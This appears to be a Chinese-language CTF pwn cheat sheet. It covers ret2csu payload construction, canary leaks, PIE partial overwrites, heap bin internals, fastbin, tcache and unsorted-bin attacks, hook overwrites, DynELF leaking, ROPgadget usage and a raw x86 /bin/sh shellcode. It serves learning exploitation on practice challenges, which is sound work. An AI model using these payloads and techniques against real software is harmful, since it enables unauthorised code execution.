0%

–常忘基础知识

光标

1
2
echo -e "\033[?25l"  隐藏光标
echo -e "\033[?25h" 显示光标

LibcSearcher

安装

1
2
3
git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
python setup.py develop //使用root
1
2
3
4
5
6
7
8
from LibcSearcher import *

obj = LibcSearcher("read",addr) #已经泄漏的函数地址
libc_base = addr - obj.dump('read')
system_addr = obj.dump("system") + libc_base #计算其他地址
print("system:"+hex(system_addr))
binsh_addr = obj.dump("str_bin_sh") + libc_base
print("binsh_addr:"+hex(binsh_addr))

ret2csu

因为是edi,而binsh在libc里面的地址是0x7f开头的八位,所以不能直接用

1
2
3
4
5
6
7
8
9
10
11
def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
payload = p64(part1) # part1 entry pop_rbx_rbp_r12_r13_r14_r15_ret
payload += p64(0x0) # rbx must be 0x0
payload += p64(0x1) # rbp must be 0x1
payload += p64(jmp2) # r12 jump to
payload += p64(arg3) # r13 -> rdx arg3
payload += p64(arg2) # r14 -> rsi arg2
payload += p64(arg1) # r15d -> edi arg1
payload += p64(part2) # part2 entry will call [r12+rbx*0x8]
payload += 'A' * 56 # junk 6*8+8=56
return payload

64位传参

参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9

栈帧

点击查看源网页

查看内存命令

用gdb查看内存

格式: x /nfu

说明
x 是 examine 的缩写

n表示要显示的内存单元的个数

f表示显示方式, 可取如下值
x 按十六进制格式显示变量。
d 按十进制格式显示变量。
u 按十进制格式显示无符号整型。
o 按八进制格式显示变量。
t 按二进制格式显示变量。
a 按十六进制格式显示变量。
i 指令地址格式
c 按字符格式显示变量。
f 按浮点数格式显示变量。

u表示一个地址单元的长度
b表示单字节,
h表示双字节,
w表示四字节,
g表示八字节

修改pwngdb或者peda

1
2
3
gedit /.gdbinit
source /home/winter/pwndbg/gdbinit.py
source ~/peda/peda.py

python函数函数

数字和字符串转换

chr(x ) 将一个整数转换为一个字符

ord(x ) 将一个字符转换为它的整数值

查看变量类型

type()函数

命令

ascii码的字符打印出来 printf “\037”

用字符的ascii码执行程序:printf “\023\342” | ./可执行文件

追踪

ltrace ./可执行文件

gdb使用peda和pwngdb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
gedit ~/.gdbinit
//peda
source ~/peda/peda.py
//v8 gdb
source ~/.gdbinit_v8
source /home/winter/v8/v8/tools/gdb-v8-support.py
//pwngdb
source /home/winter/pwndbg/gdbinit.py
//gef
source /home/winter/.gdbinit-gef.py
//Pwngdb
source ~/peda/peda.py
source ~/Pwngdb/pwngdb.py
source ~/Pwngdb/angelheap/gdbinit.py

define hook-run
python
import angelheap
angelheap.init_angelheap()
end
end

linux初始化root密码

1
sudo passwd

image-20201015164326447

ubuntu 安装pip

1
2
3
4
5
6
7
# 1. 更新系统包
sudo apt-get update
sudo apt-get upgrade
# 2. 安装Pip
sudo apt-get install python-pip
# 3. 检查 pip 是否安装成功
pip -V

生成指定数目字符串

cyclic 100

检测机制

Full RELRO

不能覆盖got表

malloc、realloc、free函数在开始时会查看对应的hook变量是否为空,不为空则调用变量中的地址,寻找malloc_hook、realloc_hook、free_hook

泄漏cannary

Canary设计为以字节”\x00”结尾,本意是为了保证Canary可以截断字符串。

因为存在栈溢出,所以可以覆盖地位的’\x00’,让canary随着前面的数据一起输出。

内存存放情况:

局部变量
canary
ebp
返回地址
参数

所以,有canary的栈题。

如果数据是[rbp - n]

  • 第一次泄漏填充的长度就是rbp - 0x8(canary)+ 1(覆盖那个‘\x00’)
  • 第二次填充的长度rbp - 0x8 + canary

partial write绕过pie

partial write就是利用了PIE技术的缺陷。我们知道,内存是以页载入机制,如果开启PIE保护的话,只能影响到单个内存页,一个内存页大小为0x1000,那么就意味着不管地址怎么变,某一条指令的后三位十六进制数的地址是始终不变的。因此我们可以通过覆盖地址的后几位来可以控制程序的流程。

由于地址的后3位一样,所以覆盖的话至少需要4位,那么倒数第四位就需要爆破,爆破范围在0到0xf

各种bin

fastbin

0x20 - 0x80

后进先出

使用单链表对空闲堆块进行连接

只有bk

单向链表

small bin

0x20 - 0x400(1024)

先进先出

bk和fd

双向链表

larage bin

大于0x400

bk和fd、找到下一个和他大小不同的堆块

根据large bin的大小,用fd_nextsize和bk_nextsize按大小排序连接

利用:实现任意地址写堆地址

unsortedbin

双向链表

chunk被释放后,如果大小不再fastbin内,会先放到unsortedbin中

在申请内存的时候,如果大小不是fastbin大小的内存,并且在smallbin中没有找到合适的chunk,就会从unsortedbin中查找。

堆里用

篡改size域

chunk extend => chunk overlap

篡改prev_size域和prev_in_use域

attack:

FD = target - 12

BK = target - 8

target = target -12

house of einherjar

类似unlink、后向合并检查不严

篡改fd指针

fastbin attack

就是fd控制,那么它指向的地址(要被认为是一个chunk,可以通过size域的检查)

tcache attack

2.27里面加入的,更快

但是从堆块去内存的时候,没有对size进行检查(不知道地址是否合法)

attack:

篡改fd指针
tcache struct attack

tcache_struct:

  • tcache_count;
  • tcache_entry;

attack:篡改tcache_entry->任意地址分配

chunk overlap

篡改bk指针

unsorted bin attack

向地址里面写入libc

bk = target - 0x10(64位)

不良影响:unsortedbin被污染,用它分配内存可能有错

libc

在64位下是0x7f开头

1
2
3
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
system=libc_base+libc.symbols["system"]
bin_sh=libc_base+libc.search("/bin/sh").next()
  • 如果题目中给出了libc文件,用ida打开,搜索字符串,搜索versionimage-20201108030310873

  • 如果题目没有给出libc文件,需要一个个尝试

    • 堆的话试试UAF啥的

      ​ 要么2.23、要么2.27、2.31就喷他

    • 栈溢出那就leak一下就行了

题目给定

查看版本

1
strings libc.so | grep GNU

查看该版本与本地是否相同

1
diff libc.so /lib/x86../libc-2.27.so

Binary files libc-2.27.so and /lib/x86_64-linux-gnu/libc-2.27.so differ

表示该libc与本地环境不同,故调试的时候,需要加

1
io = process(['./bin'],env={"LD_PRELOAD":"./libc-2.23.so"})

来加载,其中[‘./bin’]替换为你需要调试的二进制文件名,”./libc-2.23.so”替换成你需要加载的目标libc,这样本地调试就可以通过目标libc进行了。

寄存器参数

%rdi, %rsi, %rdx, %rcx, %r8, %r9

docker

进入容器的几种方法:
1、exec
通过docker ps 查看需要进入的容器pid
执行
docker exec -it 246f35c432de /bin/bash
退出容器,不会关闭容器,一般使用这个方法。
2、attach
通过docker ps 查看需要进入的容器pid
docker attach pid
退出容器会关闭容器,不推荐

Docker进入容器的几种方法:https://blog.csdn.net/czy_6837/article/details/84325166?utm_medium=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.add_param_isCf&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.add_param_isCf

pwn出题环境

https://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&mid=2652848854&idx=1&sn=ff537cc73e76e1ab058bd36cb76749a0&chksm=bd593e1b8a2eb70d41627a1d04c1abec2c071f28c2649ddd9e313c4eda854ca4a26db20a1985&mpshare=1&scene=1&srcid=1011dGXhepYahcla33btEWte#rd

DynELF

DynELF是pwntools中专门用来应对无libc情况的漏洞利用模块,其基本代码框架如下。

1
2
3
4
5
6
7
8
9
10
11
p = process('./xxx')
def leak(address):
#各种预处理
payload = "xxxxxxxx" + address + "xxxxxxxx"
p.send(payload)
#各种处理
data = p.recv(4)
log.debug("%#x => %s" % (address, (data or '').encode('hex')))
return data
d = DynELF(leak, elf=ELF("./xxx")) #初始化DynELF模块
systemAddress = d.lookup('system', 'libc') #在libc文件中搜索system函数的地址

addr就是可以泄漏内存的地址

比如说write函数和put函数的输出参数

setbuf

由于程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区。

global max fast

global max fast是决定使用fast bin管理的chunk的最大值

使用:

改写global max fast后,处理特定大小的chunk,进而可以在arena往后的任意地址写入一个堆地址

markdown的页内跳转

1
2
3
4
5
1. 先定义一个锚(id)
<span id="jump">Hello World</span>

2. 然后使用markdown的语法:
[XXXX](#jump)

exp脚本

开头

1
2
3
#!/usr/bin/python
#coding:utf-8
context.log_level="debug"

elf和libc区别

1
2
libc = ELF('./libc-2.23.so')
elf = ELF('onetime')

got和plt是程序的,也就是ELF(‘./程序’)

symbols是libc的,也就是ELF(‘./libc文件’)

接收字符串

canary
1
2
p.recvuntil("\x7f")[-6:]
canary = '\x00' + p.recv(7)#这个是栈溢出泄漏的canary
show得到的
1
2
3
show()
p.recvuntil("data:")
libc_base = u64(p.recv(6) + '\x00\x00')

sh

system(‘sh’)也可以得到shell

image-20201109192504900

plt表和got表

注意plt表可执行不可写,got表可写不可读:

image-20201109192029254

ptl表的地址:0x400620 - 0x4006C0附近

image-20201109192144499

got表地址在0x602000 - 0x602060

image-20201109192315003

  • .got

GOT(Global Offset Table)全局偏移表。这是「链接器」为「外部符号」填充的实际偏移表。

  • .plt

PLT(Procedure Linkage Table)程序链接表。它有两个功能,要么在 .got.plt 节中拿到地址,并跳转。要么当 .got.plt 没有所需地址的时,触发「链接器」去找到所需地址

  • .got.plt

这个是 GOT 专门为 PLT 专门准备的节。说白了,.got.plt 中的值是 GOT 的一部分。它包含上述 PLT 表所需地址(已经找到的和需要去触发的)

可控内存

  • bss段:进程按页分配内存,分配给 bss 段的内存大小至少一个页 (4k,0x1000) 大小。一般 bss 段的内容用不了这么多的空间,并且 bss 段分配的内存页拥有读写权限。
  • heap:需要泄漏堆地址

shellcode

1
2
3
4
5
6
7
#pwntools提供的
payload = asm(shellcraft.sh())

#21字节的shellcode
shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"

ljust

前面是大小,后面是填充的字符串

1
payload.ljust(0x100+0x8, "a")

调试

~/ctf-challenges/pwn/stackoverflow/stackprivot/X-CTF Quals 2016 - b0verfl0w

更新源和软件

1
2
sudo apt-get update      #更新源
sudo apt-get upgrade #更新软件

main_arena_offset

使用如下工具:

https://github.com/Coldwave96/LibcOffset

image-20201119001634875

1
libc_base = main_arena - main_arena_offset

offset_unsortedbin_main_arena

1
2
3
4
5
6
7
8
9
10
11
context.binary = "./babyheap_0ctf_2017"#要指定
def offset_bin_main_arena(idx):
word_bytes = context.word_size / 8
offset = 4 # lock
offset += 4 # flags
offset += word_bytes * 10 # offset fastbin
offset += word_bytes * 2 # top,last_remainder
offset += idx * 2 * word_bytes # idx
offset -= word_bytes * 2 # bin overlap
return offset
offset_unsortedbin_main_arena = offset_bin_main_arena(0)
1
main_arena = unsortedbin_addr - offset_unsortedbin_main_arena

allocate

calloc

calloc同malloc类似只是会将申请到的堆块内容清0。所以常规的unsorted bin信息泄露的方式不可行。需要使用堆溢出进行配合

hook

malloc_hook

最常见也是最容易的一种堆利用方法。
malloc函数会首先检查malloc_hook的值,若不为0则会调用他。若我们能通过内存写入malloc_hook即可实现任意地址跳转
通过fastbin_attack攻击malloc_hook。

fastbin在分配时并不检查对齐情况,将fastbin的fd设置为__malloc_hook-0x23,触发fastbin attack分配得到malloc_hook上方内存空间,向malloc_hook进行写入one_gadget得到权限。

realloc_hook

一种很巧妙的利用方法。有些情况下one_gadget因为环境原因全部都不可用,这时可以通过realloc_hook调整堆栈环境使one_gadget可用。
realloc函数在函数起始会检查realloc_hook的值是否为0,不为0则跳转至realloc_hook指向地址。
realloc_hook同malloc_hook相邻,故可通过fastbin attack一同修改两个值。

free_hook

同malloc_hook类似,在调用free函数时会先检验free_hook的值。
但是free_hook上方都是0字节。不能直接通过fastbin_attack进行攻击,可以通过修改top
free_hook上方,之后申请内存至free_hook修改为system地址。
fastbin数组在top chunk指针上方。可以通过free fastbin chunk修改fastbin数组的值使的fastbin attack可以实现。 存在限制要求堆的地址以0x56开头

https://bbs.pediy.com/thread-246786.htm#msg_header_h1_0

 tcache attack

内存申请:

在内存分配的 malloc 函数中有多处,会将内存块移入 tcache 中。

(1)首先,申请的内存块符合 fastbin 大小时并且在 fastbin 内找到可用的空闲块时,会把该 fastbin 链上的其他内存块放入 tcache 中。

(2)其次,申请的内存块符合 smallbin 大小时并且在 smallbin 内找到可用的空闲块时,会把该 smallbin 链上的其他内存块放入 tcache 中。

(3)当在 unsorted bin 链上循环处理时,当找到大小合适的链时,并不直接返回,而是先放到 tcache 中,继续处理。

tcache 取出

在内存申请的开始部分,首先会判断申请大小块,在 tcache 是否存在,如果存在就直接从 tcache 中摘取,否则再使用_int_malloc 分配。

tcache posioning

通过覆盖 tcache 中的 next,不需要伪造任何 chunk 结构即可实现 malloc 到任何地址。

可以看出 tcache posioning 这种方法和 fastbin attack 类似,但因为没有 size 的限制有了更大的利用范围。

tcache dup

可以对同一个 chunk 多次 free

查看ubuntu版本

  1. cat /proc/version
  2. uname -a
  3. lsb_release -a

ropgadget

1
2
3
4
5
ROPgadget --binary rop -- ropchain		#静态寻找rop链

ROPgadget --binary ret2libc1 --string '/bin/sh' #寻找binsh字符串

ROPgadget --binary calc --only "pop|ret" | grep "ebx" #寻找指定寄存器
Q:如果阅读本文需要付费,你是否愿意为此支付1元?